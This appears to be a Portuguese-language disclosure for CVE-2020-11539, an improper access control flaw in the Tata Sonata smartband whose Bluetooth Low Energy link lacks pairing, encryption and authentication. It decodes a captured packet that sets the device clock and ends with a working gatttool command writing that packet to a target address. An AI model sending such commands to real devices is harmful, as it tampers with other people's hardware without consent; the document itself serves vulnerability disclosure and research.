the-girl-who-lived/cve-2020-11539Controle de Acesso Improprio em Tata Sonata Smartband
Descrição: Foi identificado que a smartband não possui pareamento (nível de segurança BLE modo 0). Os dados transmitidos pelo ar não são criptografados. Além disso, os dados enviados à smartband não possuem autenticação ou verificação de assinatura, o que permite que qualquer atacante controle os parâmetros do dispositivo inteligente.
Versões Afetadas: Smart SF Rush - 1.12
Pesquisadora: Sayli Ambure (https://twitter.com/sayli_ambure)
Link MITRE CVE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11539
O pacote a seguir foi revertido e descoberto ser para alterar a hora; mais pacotes podem ser revertidos extraindo o despejo hcisnoop do seu telefone.
Valor dos dados: 00870e00141401060712052b051e
| Dados em Hexdump: | 00 | 87 | 0e | 00 | 14 | 14 | 01 | 06 | 07 | 12 | 05 | 2b | 05 | 1e |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| Dados em Decimal: | 00 | 135 | 14 | 00 | 20 | 20 | 01 | 06 | 07 | 18 | 05 | 43 | 05 | 30 |
00 87: Cabeçalho do pacote
0e 00: Tipo do pacote
14 14: Ano em hexadecimal (2020)
01 06: Mês e dia (6 de janeiro)
07 12: Hora e minuto em hexadecimal (07:18AM)
05 : Segundos
gatttool -t random -b <mac-address> --char-write-req -a 0xe -n 00870e00141401060712052b051e
